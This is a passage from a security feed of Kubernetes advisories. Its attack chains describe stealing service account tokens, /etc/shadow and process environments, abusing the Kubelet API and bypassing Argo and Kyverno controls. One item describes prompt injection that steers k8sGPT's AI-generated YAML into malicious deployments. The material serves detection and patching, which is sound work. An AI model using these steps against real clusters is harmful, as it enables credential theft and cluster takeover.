{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata — refreshed continuously.","feed_url":"https://feed.craftedsignal.io/tags/kubernetes/","home_page_url":"https://feed.craftedsignal.io/","items":[{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Elastic License v2"],"_cs_severities":["high"],"_cs_tags":["kubernetes","credential-access","execution"],"_cs_type":"advisory","_cs_vendors":["Elastic"],"content_html":"\u003cp\u003eThis detection identifies Kubernetes pod exec sessions accessing sensitive files or credential paths. The goal is to detect attackers attempting to steal credentials or configuration information from within Kubernetes pods. This often occurs after initial access and may precede lateral movement, privilege escalation, or data exfiltration. The detection focuses on command lines that reference paths related to service account tokens, kubelet configuration, host identity stores, common private keys, keystore extensions, process environment dumps, and configuration files with embedded secrets. The rule is designed to catch both interactive and scripted access, and includes exclusions for benign reads of resolv.conf.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a Kubernetes cluster, potentially through a compromised application or misconfigured service.\u003c/li\u003e\n\u003cli\u003eAttacker uses \u003ccode\u003ekubectl exec\u003c/code\u003e or similar tools to execute commands within a pod.\u003c/li\u003e\n\u003cli\u003eThe executed command attempts to read sensitive files or directories within the pod\u0026rsquo;s filesystem, such as \u003ccode\u003e/var/run/secrets/kubernetes.io/serviceaccount/token\u003c/code\u003e to obtain the pod\u0026rsquo;s service account token.\u003c/li\u003e\n\u003cli\u003eThe command may also target host-level files if the pod has hostPath mounts or runs in a privileged context, like \u003ccode\u003e/etc/shadow\u003c/code\u003e or \u003ccode\u003e/etc/passwd\u003c/code\u003e for credential access.\u003c/li\u003e\n\u003cli\u003eThe attacker may attempt to dump process environments via \u003ccode\u003e/proc/\u0026lt;pid\u0026gt;/environ\u003c/code\u003e to extract sensitive information stored as environment variables.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages obtained credentials or configuration to move laterally to other pods or nodes within the cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker escalates privileges within the cluster by abusing stolen service account tokens or node credentials.\u003c/li\u003e\n\u003cli\u003eThe final objective is to exfiltrate sensitive data, deploy malicious workloads, or disrupt services within the Kubernetes environment.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack can lead to the compromise of sensitive data, including credentials, configuration files, and application secrets. This can enable attackers to move laterally within the Kubernetes cluster, escalate privileges, and potentially gain control over the entire environment. The severity of the impact depends on the sensitivity of the data exposed and the level of access achieved by the attacker.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect sensitive file access within Kubernetes pod exec sessions.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts triggered by the Sigma rule, focusing on the \u003ccode\u003eEsql.access_type\u003c/code\u003e field to prioritize incidents.\u003c/li\u003e\n\u003cli\u003eReview and tighten RBAC permissions for pod exec to limit access to authorized users and service accounts.\u003c/li\u003e\n\u003cli\u003eImplement admission controls to prevent pods from running in privileged mode or using hostPath mounts unless absolutely necessary.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for suspicious \u003ccode\u003ekubectl exec\u003c/code\u003e activity, including unusual command lines or access patterns.\u003c/li\u003e\n\u003cli\u003eRegularly rotate Kubernetes service account tokens and other sensitive credentials to minimize the impact of potential breaches.\u003c/li\u003e\n\u003cli\u003eUse the provided Kubernetes audit log query to proactively search for historical instances of sensitive file access.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-04T21:42:34Z","date_published":"2026-05-04T21:42:34Z","id":"/briefs/2024-01-kubernetes-pod-exec-sensitive-file-access/","summary":"This rule detects Kubernetes pod exec sessions where the decoded command line references sensitive files or paths such as mounted service account tokens, kubelet and control-plane configuration, host identity stores, private keys, and process environment dumps, aiming to identify potential lateral movement, privilege escalation, or credential theft.","title":"Kubernetes Pod Exec Sensitive File or Credential Path Access","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-pod-exec-sensitive-file-access/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["kubernetes","kubelet","lateral-movement","discovery","execution","linux"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection identifies potential direct Kubelet API access attempts on Linux systems. The Kubelet, acting as the primary node agent, exposes an API accessible via ports 10250 and 10255. Attackers may exploit this API to enumerate pods, fetch logs, or even attempt remote execution. This access can lead to significant breaches in Kubernetes environments, facilitating discovery, lateral movement, and ultimately, compromise of sensitive data or control over cluster resources. The detection focuses on identifying process executions where the command-line arguments contain URLs targeting these Kubelet ports, indicating a potential attempt to interact with the Kubelet API directly.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a compromised host within the Kubernetes cluster or a host with network access to the Kubelet ports.\u003c/li\u003e\n\u003cli\u003eThe attacker uses a utility like \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ewget\u003c/code\u003e, \u003ccode\u003epython\u003c/code\u003e, or similar tools to craft an HTTP request targeting the Kubelet API on ports 10250 or 10255.\u003c/li\u003e\n\u003cli\u003eThe request includes a path like \u003ccode\u003e/pods\u003c/code\u003e, \u003ccode\u003e/runningpods\u003c/code\u003e, \u003ccode\u003e/metrics\u003c/code\u003e, \u003ccode\u003e/exec\u003c/code\u003e, or \u003ccode\u003e/containerLogs\u003c/code\u003e to gather information about the cluster\u0026rsquo;s state and configuration.\u003c/li\u003e\n\u003cli\u003eThe attacker examines the response to identify potential targets for lateral movement, such as specific pods or containers of interest.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to execute commands within a container using the \u003ccode\u003e/exec\u003c/code\u003e endpoint, potentially leveraging exposed service account tokens or other credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker uses gathered information to move laterally to other pods or nodes within the cluster, escalating privileges as they go.\u003c/li\u003e\n\u003cli\u003eThe attacker compromises sensitive data or critical applications running within the Kubernetes cluster.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can lead to full cluster compromise. Attackers can gain unauthorized access to sensitive data, disrupt critical applications, and move laterally to other resources within the Kubernetes environment. This could lead to significant financial losses, reputational damage, and legal liabilities. The potential impact includes data breaches, denial of service, and complete control over the Kubernetes infrastructure.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubelet API Access via Process Arguments\u003c/code\u003e to your SIEM to detect suspicious process executions.\u003c/li\u003e\n\u003cli\u003eRestrict access to Kubelet ports 10250/10255 at the network layer to limit pod-to-node or host-to-node traffic as recommended in the overview section.\u003c/li\u003e\n\u003cli\u003eHarden Kubelet configuration by disabling anonymous authentication and enforcing webhook authentication/authorization as described in the overview section.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-04T21:18:23Z","date_published":"2026-05-04T21:18:23Z","id":"/briefs/2024-01-09-kubelet-access/","summary":"This rule detects potential direct Kubelet API access attempts on Linux by identifying process executions whose arguments contain URLs targeting Kubelet ports (10250/10255) enabling discovery and lateral movement in Kubernetes environments.","title":"Potential Direct Kubelet API Access via Process Arguments","url":"https://feed.craftedsignal.io/briefs/2024-01-09-kubelet-access/"},{"_cs_actors":[],"_cs_cves":[{"cvss":6.5,"id":"CVE-2025-62157"}],"_cs_exploited":false,"_cs_products":["argo-workflows"],"_cs_severities":["high"],"_cs_tags":["argo-workflows","credential-access","kubernetes"],"_cs_type":"advisory","_cs_vendors":["Argoproj","Google","Microsoft"],"content_html":"\u003cp\u003eArgo Workflows, a Kubernetes-native workflow engine, is vulnerable to credential exposure. Specifically, versions 4.0.0 through 4.0.4 inadvertently log artifact repository credentials in plaintext during artifact operations. This includes sensitive data like S3 Access Keys, Secret Keys, Session Tokens, Server-Side Customer Keys, OSS Access Keys, Secret Keys, Security Tokens, and GCS Service Account Keys. The vulnerability stems from the logging driver passing the entire ArtifactDriver struct to the structured logger. Any user with read access to workflow pod logs can extract these credentials, creating a significant security risk. This is an incomplete fix of CVE-2025-62157.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains read access to Kubernetes pod logs within the Argo Workflows namespace. This could be achieved through compromised credentials, misconfigured RBAC policies, or other Kubernetes vulnerabilities.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies a workflow that utilizes artifact storage, such as S3 or GCS.\u003c/li\u003e\n\u003cli\u003eThe workflow executes an artifact operation (upload or download).\u003c/li\u003e\n\u003cli\u003eArgo Workflows logs the entire ArtifactDriver struct, including the plaintext credentials, into the pod logs.\u003c/li\u003e\n\u003cli\u003eThe attacker queries the pod logs using \u003ccode\u003ekubectl\u003c/code\u003e or other Kubernetes tooling. For example: \u003ccode\u003ekubectl -n argo logs \u0026quot;cred-leak-test\u0026quot; -c wait\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker extracts the plaintext credentials (e.g., S3 Access Key and Secret Key) from the log output.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the extracted credentials to access the artifact repository (e.g., S3 bucket) and potentially steal data or perform other unauthorized actions.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows unauthorized access to artifact repositories used by Argo Workflows. This can lead to data breaches, as sensitive data stored in S3 buckets, GCS buckets, or other storage solutions can be exposed. The impact is especially severe if the compromised credentials have broad permissions or if the artifact repository contains highly sensitive data. This affects Argo Workflows versions 4.0.0, 4.0.1, 4.0.2, 4.0.3, and 4.0.4.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Argo Workflows to version 4.0.5 or later to remediate the vulnerability (CVE-2026-42295).\u003c/li\u003e\n\u003cli\u003eReview and restrict Kubernetes RBAC permissions to limit access to pod logs, following the principle of least privilege.\u003c/li\u003e\n\u003cli\u003eImplement log monitoring and alerting for unusual access patterns to Kubernetes pod logs.\u003c/li\u003e\n\u003cli\u003eRotate any potentially exposed artifact repository credentials (S3 access keys, GCS service account keys, etc.) if Argo Workflows versions 4.0.0-4.0.4 were in use.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-04T20:12:01Z","date_published":"2026-05-04T20:12:01Z","id":"/briefs/2024-01-09-argo-cred-leak/","summary":"Argo Workflows versions 4.0.0 to 4.0.4 log artifact repository credentials in plaintext, allowing users with read access to pod logs to extract sensitive information such as S3 access keys and GCS service account keys.","title":"Argo Workflows Credentials Exposed in Pod Logs","url":"https://feed.craftedsignal.io/briefs/2024-01-09-argo-cred-leak/"},{"_cs_actors":[],"_cs_cves":[{"cvss":8.1,"id":"CVE-2026-31892"}],"_cs_exploited":false,"_cs_products":["argo-workflows"],"_cs_severities":["high"],"_cs_tags":["argo-workflows","kubernetes","privilege-escalation","defense-evasion"],"_cs_type":"advisory","_cs_vendors":["Argo"],"content_html":"\u003cp\u003eArgo Workflows, a Kubernetes-native workflow engine, contains an incomplete fix for CVE-2026-31892. The initial patch blocked \u003ccode\u003epodSpecPatch\u003c/code\u003e modifications when \u003ccode\u003etemplateReferencing: Strict\u003c/code\u003e was active. However, other fields within the WorkflowSpec that influence pod creation, such as \u003ccode\u003ehostNetwork\u003c/code\u003e, \u003ccode\u003eserviceAccountName\u003c/code\u003e, and \u003ccode\u003esecurityContext\u003c/code\u003e, were not restricted. This allows a malicious user to bypass intended security controls and potentially escalate privileges within the Kubernetes cluster. Versions affected include those supporting the \u003ccode\u003etemplateReferencing\u003c/code\u003e feature, specifically v4.0.2 and v3.7.11, which include the initial fix for CVE-2026-31892 but are still vulnerable to this bypass. This vulnerability exists because the check in \u003ccode\u003esetExecWorkflow\u003c/code\u003e only validates \u003ccode\u003eHasPodSpecPatch()\u003c/code\u003e, while other critical fields are applied directly to the pod specification. The bypass affects both \u003ccode\u003eStrict\u003c/code\u003e and \u003ccode\u003eSecure\u003c/code\u003e modes.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains \u003ccode\u003ecreate Workflow\u003c/code\u003e permission within the Argo Workflows environment.\u003c/li\u003e\n\u003cli\u003eAttacker crafts a Workflow manifest that references a hardened WorkflowTemplate.\u003c/li\u003e\n\u003cli\u003eAttacker sets \u003ccode\u003ehostNetwork: true\u003c/code\u003e (or other vulnerable fields like \u003ccode\u003esecurityContext\u003c/code\u003e, \u003ccode\u003eserviceAccountName\u003c/code\u003e, \u003ccode\u003etolerations\u003c/code\u003e, or \u003ccode\u003eautomountServiceAccountToken\u003c/code\u003e) in the Workflow manifest.\u003c/li\u003e\n\u003cli\u003eThe Workflow is submitted, and the \u003ccode\u003esetExecWorkflow\u003c/code\u003e function in the Argo controller only checks for \u003ccode\u003epodSpecPatch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eDue to the missing validation, the user-defined \u003ccode\u003ehostNetwork: true\u003c/code\u003e (or other vulnerable fields) is merged with the WorkflowTemplate specification.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003ecreateWorkflowPod\u003c/code\u003e function reads the merged specification and applies the \u003ccode\u003ehostNetwork: true\u003c/code\u003e setting directly to the pod specification, bypassing the intended restrictions.\u003c/li\u003e\n\u003cli\u003eA pod is created with host networking enabled, granting the container access to the host\u0026rsquo;s network namespace.\u003c/li\u003e\n\u003cli\u003eThe attacker can now access sensitive information or perform actions on the network as if they were running directly on the host.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation allows an attacker to bypass the intended security restrictions imposed by Argo Workflows\u0026rsquo; \u003ccode\u003etemplateReferencing\u003c/code\u003e feature. This can lead to privilege escalation, unauthorized access to network resources, and the potential to compromise other containers or nodes within the Kubernetes cluster. The impact is most significant in clusters that rely on Argo\u0026rsquo;s Strict mode as the primary enforcement layer, as other Kubernetes-level controls like PodSecurity admission or OPA/Gatekeeper may not be in place to mitigate these bypasses.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eArgo Workflow Host Network Bypass\u003c/code\u003e to detect workflows attempting to set \u003ccode\u003ehostNetwork: true\u003c/code\u003e, and tune for your environment.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eArgo Workflow Service Account Override\u003c/code\u003e to detect workflows attempting to override the service account.\u003c/li\u003e\n\u003cli\u003eUpgrade to a patched version of Argo Workflows that addresses CVE-2026-42296, ensuring that all WorkflowSpec fields that influence pod security posture are validated.\u003c/li\u003e\n\u003cli\u003eImplement Kubernetes-level controls, such as PodSecurity admission or OPA/Gatekeeper, to provide an additional layer of defense against unauthorized pod specification modifications.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-04T20:11:38Z","date_published":"2026-05-04T20:11:38Z","id":"/briefs/2026-05-argo-workflow-bypass/","summary":"Argo Workflows has an incomplete fix for CVE-2026-31892, allowing bypass of templateReferencing restrictions to modify pod specifications, leading to potential privilege escalation and security context overrides.","title":"Argo Workflows Template Referencing Restriction Bypass","url":"https://feed.craftedsignal.io/briefs/2026-05-argo-workflow-bypass/"},{"_cs_actors":[],"_cs_cves":[{"cvss":8.8,"id":"CVE-2026-6389"}],"_cs_exploited":false,"_cs_products":["Turbonomic Application Resource Management","Turbonomic prometurbo agent (8.16.0 through 8.17.6)"],"_cs_severities":["critical"],"_cs_tags":["privilege-escalation","credential-access","kubernetes","vulnerability"],"_cs_type":"advisory","_cs_vendors":["IBM"],"content_html":"\u003cp\u003eCVE-2026-6389 affects IBM Turbonomic prometurbo agent versions 8.16.0 through 8.17.6. The vulnerability stems from the agent granting excessive cluster-wide permissions within IBM Turbonomic Application Resource Management. A successful exploit allows an attacker who has compromised the operator or its associated service account to gain unrestricted read access to all secrets within the cluster. This vulnerability was reported on April 30, 2026, and poses a significant risk to organizations using the affected versions, potentially leading to complete cluster compromise. Defenders should prioritize patching and monitoring for unauthorized access to sensitive resources.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to the Kubernetes cluster, potentially through exploiting a vulnerability in a separate application or service running within the cluster, or via compromised credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies the IBM Turbonomic prometurbo agent and its associated service account within the compromised cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the compromised service account or operator to interact with the Kubernetes API, exploiting the excessive cluster-wide permissions granted to the prometurbo agent.\u003c/li\u003e\n\u003cli\u003eThe attacker utilizes the unrestricted read access to enumerate and exfiltrate sensitive credentials stored as secrets within the cluster, including database passwords, API keys, and other sensitive information.\u003c/li\u003e\n\u003cli\u003eUsing the stolen credentials, the attacker escalates privileges by accessing other services and resources within the cluster, such as deploying malicious pods or modifying existing deployments.\u003c/li\u003e\n\u003cli\u003eThe attacker achieves persistence by creating or modifying service accounts, roles, and role bindings to maintain access to the cluster even if the initial point of compromise is remediated.\u003c/li\u003e\n\u003cli\u003eThe attacker moves laterally within the cluster, compromising additional nodes and workloads to expand their control and access to sensitive data.\u003c/li\u003e\n\u003cli\u003eThe attacker achieves full cluster compromise, gaining complete control over all resources and data within the Kubernetes environment.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful exploitation of CVE-2026-6389 can lead to a full compromise of the Kubernetes cluster. This includes unrestricted access to sensitive data and the ability to control all workloads and resources within the environment. The impact includes potential data breaches, service disruptions, and significant financial and reputational damage. Organizations in any sector using the affected versions of IBM Turbonomic are at risk, and the severity is heightened in environments handling sensitive data or critical infrastructure.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade IBM Turbonomic prometurbo agent to a version beyond 8.17.6 to patch CVE-2026-6389.\u003c/li\u003e\n\u003cli\u003eReview and restrict the permissions granted to the prometurbo agent service account, adhering to the principle of least privilege (reference: CVE-2026-6389).\u003c/li\u003e\n\u003cli\u003eImplement Kubernetes audit logging to monitor for unauthorized access to secrets and other sensitive resources (reference: Kubernetes documentation).\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect Kubernetes Secret Access via Turbonomic Agent\u0026rdquo; to identify potential exploitation attempts (reference: Sigma rule below).\u003c/li\u003e\n\u003cli\u003eMonitor for unusual activity originating from the prometurbo agent service account, such as attempts to access or exfiltrate large amounts of data (reference: network_connection log source).\u003c/li\u003e\n\u003cli\u003eImplement network segmentation to limit the potential impact of a compromised cluster, preventing lateral movement to other environments.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-30T22:16:26Z","date_published":"2026-04-30T22:16:26Z","id":"/briefs/2026-04-turbonomic-privesc/","summary":"IBM Turbonomic prometurbo agent versions 8.16.0 through 8.17.6 grants excessive cluster-wide permissions, including unrestricted read access to all secrets, allowing a compromised operator or service account to exfiltrate credentials, escalate privileges, and achieve full cluster compromise.","title":"IBM Turbonomic prometurbo Agent Privilege Escalation via Excessive Permissions (CVE-2026-6389)","url":"https://feed.craftedsignal.io/briefs/2026-04-turbonomic-privesc/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["k8sgpt"],"_cs_severities":["high"],"_cs_tags":["prompt-injection","kubernetes","ai","vulnerability"],"_cs_type":"advisory","_cs_vendors":["k8sgpt-ai"],"content_html":"\u003cp\u003ek8sGPT is an open-source project that leverages AI to analyze and remediate Kubernetes cluster issues. A critical vulnerability exists in k8sGPT versions prior to 0.4.32, specifically within the k8sGPT-Operator component. The vulnerability stems from the auto-remediation pipeline in \u003ccode\u003eobject_to_execution.go\u003c/code\u003e, which deserializes AI-generated YAML directly into a Kubernetes Deployment object without adequate validation. This lack of validation allows for prompt injection, where malicious YAML payloads generated by the AI can overwrite or modify existing deployments in unexpected ways. This can be exploited by attackers to gain control over resources within the Kubernetes cluster by crafting malicious AI prompts to inject malicious code into deployment configurations.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker crafts a malicious prompt designed to generate YAML code that includes malicious configurations (e.g., mounting host volumes, privileged containers).\u003c/li\u003e\n\u003cli\u003eThe k8sGPT-Operator receives the prompt and uses its AI engine to generate a YAML manifest for a Kubernetes Deployment object.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eobject_to_execution.go\u003c/code\u003e component deserializes the AI-generated YAML manifest directly into a Kubernetes Deployment object.\u003c/li\u003e\n\u003cli\u003eDue to the lack of validation, the malicious configurations within the YAML manifest are not detected.\u003c/li\u003e\n\u003cli\u003eThe k8sGPT-Operator applies the modified Deployment object to the Kubernetes cluster via the Kubernetes API.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes scheduler creates pods based on the compromised Deployment object, potentially executing malicious code within the cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker gains control over the deployed pod, potentially escalating privileges to other resources within the cluster.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows an attacker to inject arbitrary code into Kubernetes deployments, potentially leading to full cluster compromise. While the precise number of affected installations is unknown, any k8sGPT deployment prior to version 0.4.32 is susceptible. This could lead to data breaches, denial of service, or complete control over the Kubernetes environment. Organizations using k8sGPT for automated remediation should immediately upgrade to version 0.4.32 or later.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade k8sGPT to version 0.4.32 or later to patch the vulnerability (reference: Affected versions).\u003c/li\u003e\n\u003cli\u003eImplement additional validation of Deployment objects before applying them to the cluster to prevent malicious configurations (reference: Overview).\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule provided to detect attempts to create privileged containers or mount sensitive host paths (reference: Sigma rule).\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for suspicious activity related to Deployment object modifications (reference: Attack Chain).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-24T16:41:39Z","date_published":"2026-04-24T16:41:39Z","id":"/briefs/2026-04-k8sgpt-prompt-injection/","summary":"k8sGPT versions before 0.4.32 are vulnerable to prompt injection due to deserialization of AI-generated YAML without proper validation in the auto-remediation pipeline, potentially leading to arbitrary code execution within the Kubernetes cluster.","title":"k8sGPT Operator Vulnerable to Prompt Injection","url":"https://feed.craftedsignal.io/briefs/2026-04-k8sgpt-prompt-injection/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Argo Workflows"],"_cs_severities":["medium"],"_cs_tags":["argo-workflows","denial-of-service","kubernetes"],"_cs_type":"advisory","_cs_vendors":["Argo Project"],"content_html":"\u003cp\u003eArgo Workflows is vulnerable to a denial-of-service attack where a malformed \u003ccode\u003eworkflows.argoproj.io/pod-gc-strategy\u003c/code\u003e annotation within a workflow pod can crash the Argo Workflows controller. This vulnerability stems from an unchecked array index in the \u003ccode\u003epodGCFromPod()\u003c/code\u003e function. When the annotation value lacks a \u0026ldquo;/\u0026rdquo;, the \u003ccode\u003estrings.Split\u003c/code\u003e function returns an array of length 1, leading to an out-of-bounds access when trying to retrieve the second element. The resulting panic occurs outside the controller\u0026rsquo;s recovery scope, causing the entire controller process to terminate. The affected versions include 3.6.5 through 3.6.19, 3.7.0-rc1 through 3.7.12, and 4.0.0-rc1 through 4.0.3. This vulnerability was introduced in commit \u003ca href=\"https://github.com/argoproj/argo-workflows/issues/14129\"\u003e#14129\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker crafts a malicious Argo Workflow YAML file.\u003c/li\u003e\n\u003cli\u003eThe YAML includes a \u003ccode\u003epodMetadata\u003c/code\u003e section defining annotations for the workflow pod.\u003c/li\u003e\n\u003cli\u003eWithin the annotations, the \u003ccode\u003eworkflows.argoproj.io/pod-gc-strategy\u003c/code\u003e key is set to a value that does not contain a forward slash (\u0026quot;/\u0026quot;), such as \u0026ldquo;NoSlash\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003eThe attacker submits the crafted workflow to the Argo Workflows controller using \u003ccode\u003ekubectl apply -n argo -f malicious-workflow.yaml\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe Argo Workflows controller receives the workflow definition and creates a corresponding pod based on the specification.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003epodGCFromPod()\u003c/code\u003e function in \u003ccode\u003e/workflow/controller/pod/controller.go\u003c/code\u003e attempts to parse the \u003ccode\u003eworkflows.argoproj.io/pod-gc-strategy\u003c/code\u003e annotation.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003estrings.Split\u003c/code\u003e function splits the annotation value, resulting in an array with only one element.\u003c/li\u003e\n\u003cli\u003eThe code attempts to access \u003ccode\u003eparts[1]\u003c/code\u003e, causing a panic due to an out-of-bounds array access and crashes the controller, resulting in a denial-of-service.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows any user with the ability to submit workflows to crash the Argo Workflows controller. The controller will enter a crash loop, rendering the entire Argo Workflows deployment unavailable. Since the controller is responsible for managing and executing workflows, all workflow processing is halted, leading to a denial-of-service condition. This can severely impact organizations relying on Argo Workflows for their CI/CD pipelines or other automated tasks. The attacker requires only \u003ccode\u003ecreate\u003c/code\u003e permission on Workflow resources to execute this attack.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to a patched version of Argo Workflows (v3.6.4 or earlier, v3.6.20+, v3.7.13+, or v4.0.4+) to remediate the vulnerability as described in \u003ca href=\"https://github.com/advisories/GHSA-5jv8-h7qh-rf5p\"\u003eGHSA-5jv8-h7qh-rf5p\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eImplement input validation on workflow submissions to reject workflows with malformed \u003ccode\u003eworkflows.argoproj.io/pod-gc-strategy\u003c/code\u003e annotations. See the PoC workflow example provided in \u003ca href=\"https://github.com/advisories/GHSA-5jv8-h7qh-rf5p\"\u003eGHSA-5jv8-h7qh-rf5p\u003c/a\u003e for examples of vulnerable annotation values.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eDetect Argo Workflows Malformed Pod GC Annotation\u003c/code\u003e to detect workflow submissions containing potentially malicious annotations.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-23T21:39:21Z","date_published":"2026-04-23T21:39:21Z","id":"/briefs/2024-01-09-argo-workflow-dos/","summary":"A malformed `workflows.argoproj.io/pod-gc-strategy` annotation in an Argo Workflow pod can trigger an unchecked array index in the `podGCFromPod()` function, leading to a controller-wide panic and denial-of-service.","title":"Argo Workflows Controller Denial-of-Service via Malformed Pod Annotation","url":"https://feed.craftedsignal.io/briefs/2024-01-09-argo-workflow-dos/"},{"_cs_actors":[],"_cs_cves":[{"cvss":9.9,"id":"CVE-2026-22039"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["kyverno","rbac-bypass","kubernetes","privilege-escalation"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis brief addresses a critical vulnerability in Kyverno version 1.17.0 (and earlier) related to cross-namespace ConfigMap access, stemming from an incomplete fix for CVE-2026-22039. While the original CVE addressed privilege escalation in Kyverno\u0026rsquo;s \u003ccode\u003eapiCall\u003c/code\u003e context, the ConfigMap context loader (\u003ccode\u003epkg/engine/context/loaders/configmap.go\u003c/code\u003e) still lacks namespace validation. This allows a namespace administrator to craft a Kyverno policy that reads ConfigMaps from any namespace, effectively bypassing RBAC controls. This vulnerability impacts multi-tenant Kubernetes clusters, particularly those running Azure Kubernetes Service (AKS) or other managed Kubernetes services using Kyverno. Exploitation requires a namespace admin to create a Kyverno Policy resource in their namespace.  A successful exploit allows the attacker to exfiltrate sensitive data, such as database credentials and API keys, stored in ConfigMaps across the cluster.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker with namespace admin privileges creates a service account and role binding within their assigned namespace.\u003c/li\u003e\n\u003cli\u003eThe attacker deploys a Kyverno \u003ccode\u003ePolicy\u003c/code\u003e resource within their namespace. This policy is crafted to exploit the vulnerability in the ConfigMap context loader.\u003c/li\u003e\n\u003cli\u003eThe policy specifies \u003ccode\u003econtext.configMap.namespace\u003c/code\u003e to target a ConfigMap in a different, victim namespace.  This step leverages the lack of namespace validation in 